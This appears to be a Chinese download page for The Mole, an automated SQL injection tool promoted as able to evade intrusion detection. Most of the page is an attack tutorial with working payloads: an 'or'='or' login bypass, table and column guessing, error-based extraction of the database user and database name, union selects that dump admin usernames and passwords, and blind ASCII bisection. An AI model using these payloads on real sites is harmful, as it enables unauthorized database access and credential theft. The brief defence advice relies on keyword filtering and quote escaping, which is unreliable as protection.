分类分类
大小:4.94 MB更新:2017/06/02
类别:系统安全系统:Winll

the mole注入工具是有sql注入需要的用户们不可错过的强大工具,有了该软件,用户们就会发现注入sql会变得简单许多,具体的软件介绍如下,有需要的朋友们欢迎前来下载!
The Mole是一款开源的自动化sql注入工具,其可绕过IPS/IDS(入侵防御系统/入侵检测系统).只需提供一个URL和一个可用的关键字,它就能够检测注入点并利用.The Mole可以使用union注入技术和基于逻辑查询的注入技术.The Mole攻击范围包括sql server、mysql、Postgres和oracle数据库

方法1
后台身份验证绕过漏洞
验证绕过漏洞就是'or'='or'后台绕过漏洞,利用的就是AND和OR的运算规则,从而造成后台脚本逻辑性错误
例如管理员的账号密码都是admin,那么再比如后台的数据库查询语句是
user=request(&user&)
passwd=request(&passwd&)
sql='select admin from adminbate where user='&'''&user&'''&' and passwd='&'''&passwd&'''
那么我使用'or 'a'='a来做用户名密码的话,那么查询就变成了
select admin from adminbate where user=''or 'a'='a' and passwd=''or 'a'='a'
这样的话,根据运算规则,这里一共有4个查询语句,那么查询结果就是 假or真and假or真,先算and 再算or,最终结果为真,这样就可以进到后台了
这种漏洞存在必须要有2个条件,第一个:在后台验证代码上,账号密码的查询是要同一条查询语句,也就是类似
sql=&select * from admin where username='&&username&'&&passwd='&&passwd&'
如果一旦账号密码是分开查询的,先查帐号,再查密码,这样的话就没有办法了.
第二就是要看密码加不加密,一旦被MD5加密或者其他加密方式加密的,那就要看第一种条件有没有可以,没有达到第一种条件的话,那就没有戏了
方法2
先猜表名
And (Select count(*) from 表名)<>0
猜列名
And (Select count(列名) from 表名)<>0
或者也可以这样
and exists (select * from 表名)
and exists (select 列名 from 表名)
返回正确的,那么写的表名或列名就是正确
这里要注意的是,exists这个不能应用于猜内容上,例如and exists (select len(user) from admin)>3 这样是不行的
很多人都是喜欢查询里面的内容,一旦iis没有关闭错误提示的,那么就可以利用报错方法轻松获得库里面的内容
获得数据库连接用户名:;and user>0
这个是小竹提出来的,我这里引用《SQL注入天书》里面的一段话来讲解:
&重点在and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar.拿一个 nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar转换int异常,XXXX不能转换成int&
看到这里大家明白了吧,报错的原理就是利用SQLserver内置的系统表进行转换查询,转换过程会出错,然后就会显示出在网页上,另外还有类似的and 1=(selet top 1 user from admin),这种语句也是可以爆出来的.;and db_name()>0 则是暴数据库名.
一旦关闭了IIS报错,那么还可以用union(联合查询)来查内容,主要语句就是
Order by 10
And 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin
And 1=2 union select 1,2,3,user,5,passwd,7,8,9,10 from admin
上面的order by 10主要就是查字段数目,admin就是表名,可以自己猜,user,passwd是列名
反正就是返回正确即对,返回异常即错
另外还有十分常用的ASCII码拆半法
先要知道指定列名,例如user里的内容的长度
and (select len(user) from admin)=2 就是查询长度为不为2位,返回错误的增加或减少数字,一般这个数字不会太大,太大的就要放弃了,猜也多余
后面的逻辑符号可以根据不同要求更改的,
>;大于 <;小于 =就是等于咯,更新语句的话,=也可以表示传递符号 <>;就是不等
知道了长度后就可以开始猜解了
And (Select top 1 asc(mid(user,n,1)) from admin)>100
n就是猜解的表名的第几位,最后的长度数字就是刚才猜解出来的列名长度了,And (Select top 1 asc(mid(user,1,1)) from admin)>100 就是猜解user里内容的第一位的ASCII字符是不是大于100
正确的话,那么表示USER第一个字符的ASCII码大于100,那么就猜>120,返回错误就是介于100-120之间,然后再一步一步的缩少,最终得到正确字符XXX,然后用ASCII转换器吧这个转换成普通字符就可以了
然后就是第二位 And (Select top 1 asc(mid(user,2,1)) from admin)>100 一直猜下去
加在url后面,列名表名还是先猜解,返回正确的代表帐号的ASCII码大于100,那么就再向前猜,直到报错,把猜出来的ASCII码拿去ASCII转换器转换就可以了,中文是负数,加上asb取绝对值
And (Select top 1 asb(asc(mid(user,n,1))) from admin)>15320
得到之后就记得在数字前加-号,不然ASCII转换器转换不来的,中文在ASCII码里是-23423这样的,所以猜起来挺麻烦
这个猜解速度比较慢,但是效果最好,最具有广泛性
方法3
防御方法
对于怎么防御SQL注入呢,这个网上很多,我这里讲几个
如果自己编写防注代码,一般是先定义一个函数,再在里面写入要过滤的关键词,如select ; &&;from;等,这些关键词都是查询语句最常用的词语,一旦过滤了,那么用户自己构造提交的数据就不会完整地参与数据库的操作.
当然如果你的网站提交的数据全部都是数字的,可以使用小竹提供的方法
Function SafeRequest(ParaName,ParaType)
'--- 传入参数 ---
'ParaName:参数名称-字符型
'ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)
Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write &参数& & ParaName & &必须为数字型!&
Response.end
End if
Else
ParaValue=replace(ParaValue,&'&,&''&)
End if
SafeRequest=ParaValue
End function
然后就用SafeRequest()来过滤参数 ,检查参数是否为数字,不是数字的就不能通过.
The Mole是一款自动化的SQL注入漏洞利用工具.只需提供一个URL和一个可用的关键字,它就能够检测注入点并利用.The Mole可以使用union注入技术和基于逻辑查询的注入技术.
腾讯电脑管家pc版安装包系统安全62.96 MBv15.4.22893.220 官方最新版
详情火绒Aurora专用解密工具系统安全1.07 MBv1.0.0.2 绿色版
详情荣耀magicbook电脑管家系统安全232.19 MBv13.0.2.310 官方版
详情诺顿360中文破解版系统安全120.00 MBv22.5.0.124 免激活版
详情QQ电脑管家纯净版(QQguanjia)系统安全62.96 MBv12.0 官方最新版
详情天融信终端防御系统系统安全14.70 MBv1.0.13.1 安装版
详情QQ电脑管家2022最新版系统安全62.12 MBv15.4.22893.220 官方版
详情腾讯电脑管家个人版pc版系统安全62.96 MBv15.4.22893.220 官方正式版
详情2345安全卫士电脑版系统安全95.54 MBv7.9.1.13925 官方正式版
详情Sandboxie Plus沙盒32位/64位系统安全30.90 MBv1.0.20 中文免费版
详情360安全卫士冰雪运动版系统安全75.82 MBv15.15.0.0.1021 安装版
详情挖掘鸡系统安全4.16 MBv9.2 绿色免费版
详情腾讯电脑管家离线安装包(QQPCMgr)系统安全62.96 MBv15.4.22893.220 官方安装版
详情腾讯电脑管家win10专版系统安全1.95 MBv15.0.22122.210 简体中文官方安装版
详情MBSA安全检测工具系统安全2.40 MBv2.2 官方免费版
详情腾讯电脑管家8.0正式版系统安全30.60 MBv8.0 官方免费版
详情卡巴斯基安全软件2019系统安全151.90 MB破解版
详情腾讯电脑管家小团队版系统安全10.80 MBv213.10.21930.301 官方版
详情2022腾讯电脑管家体验版系统安全1.89 MBv16.0.23595.221 官方版
详情微软电脑管家内测版系统安全55.08 MBv1.1.0.2518 官方版
详情点击查看更多
腾讯电脑管家离线安装包(QQPCMgr)系统安全62.96 MBv15.4.22893.220 官方安装版
详情QQ电脑管家纯净版(QQguanjia)系统安全62.96 MBv12.0 官方最新版
详情荣耀magicbook电脑管家系统安全232.19 MBv13.0.2.310 官方版
详情腾讯电脑管家pc版安装包系统安全62.96 MBv15.4.22893.220 官方最新版
详情pangolin(穿山甲sql注入工具)系统安全30.80 MBv4.1 绿色多语版
详情华为电脑管家第三方电脑安装版系统安全184.00 MBv11.1.6.31 最新版
详情火绒互联网安全软件系统安全22.07 MBv5.0.71.2-2022.11.21.1 官方版
详情2022腾讯电脑管家体验版系统安全1.89 MBv16.0.23595.221 官方版
详情火绒安全软件包含扩展工具完整版系统安全21.99 MBv5.0.72.1 官方个人免费版
详情QQ电脑管家2022最新版系统安全62.12 MBv15.4.22893.220 官方版
详情360安全卫士国产系统适配专版系统安全62.55 MBv1.0.0.1018 官方版
详情瑞星卡卡上网安全助手6.0系统安全10.15 MBv6.2.4.63 官方安装版
详情腾讯电脑管家个人版pc版系统安全62.96 MBv15.4.22893.220 官方正式版
详情冰刃(IceSword)系统安全2.04 MBv1.22 免安装中文版
详情ettercap for windows(强大的arp欺骗工具)系统安全6.26 MBv0.8.2 官网版
详情超级巡警(Anti-Spyware Toolkit)系统安全12.59 MBv5.1.11.186 官方版
详情腾讯电脑管家win10专版系统安全1.95 MBv15.0.22122.210 简体中文官方安装版
详情360电脑管家最新版2023(安全卫士)系统安全83.93 MBv13.0.0.2079 官方正式版
详情QQ医生免费版(QQDoctor)系统安全7.51 MBv3.3 绿色版
详情BackTrack5 r3中文版iso系统安全3.09 GBU盘版
详情点击查看更多
360系统漏洞修复独立版系统安全22.11 MBv9.6 绿色提取版
详情冰刃(IceSword)系统安全2.04 MBv1.22 免安装中文版
详情网站安全狗系统安全36.90 MBv4.0.22290 官方iis版
详情360游戏保险箱系统安全9.18 MBv7.3.1.1011 官方正式版
详情超级巡警(Anti-Spyware Toolkit)系统安全12.59 MBv5.1.11.186 官方版
详情ESET Smart Security(ESET NOD32 9.0安全套装)系统安全93.56 MBv9.0 中文免费版
详情瑞星卡卡上网安全助手6.0系统安全10.15 MBv6.2.4.63 官方安装版
详情2345安全卫士电脑版系统安全95.54 MBv7.9.1.13925 官方正式版
详情乐网软件管家系统安全30.90 MBv2.0.0.0 绿色版
详情QQ电脑管家2022最新版系统安全62.12 MBv15.4.22893.220 官方版
详情腾讯电脑管家pc版安装包系统安全62.96 MBv15.4.22893.220 官方最新版
详情360安全保险箱(360Safebox)系统安全5.84 MBv5.0 绿色版
详情金山急救箱单文件版系统安全26.27 MBv3.5 免费绿色版
详情蜂巢安全管家系统安全9.69 MBv3.0.2 官方最新版
详情安全狗服云客户端系统安全13.52 MBv2.5.1 官网pc版
详情火绒互联网安全软件系统安全22.07 MBv5.0.71.2-2022.11.21.1 官方版
详情莱卡安全助手系统安全2.91 MBv2014.1112绿色版
详情360闪电云鉴定器独立版系统安全2.83 MBv1.0.0.1030 官方绿色版
详情腾讯电脑管家个人版pc版系统安全62.96 MBv15.4.22893.220 官方正式版
详情金山毒霸CPU漏洞免疫工具系统安全1.62 MBv1.0 官方版
详情点击查看更多



































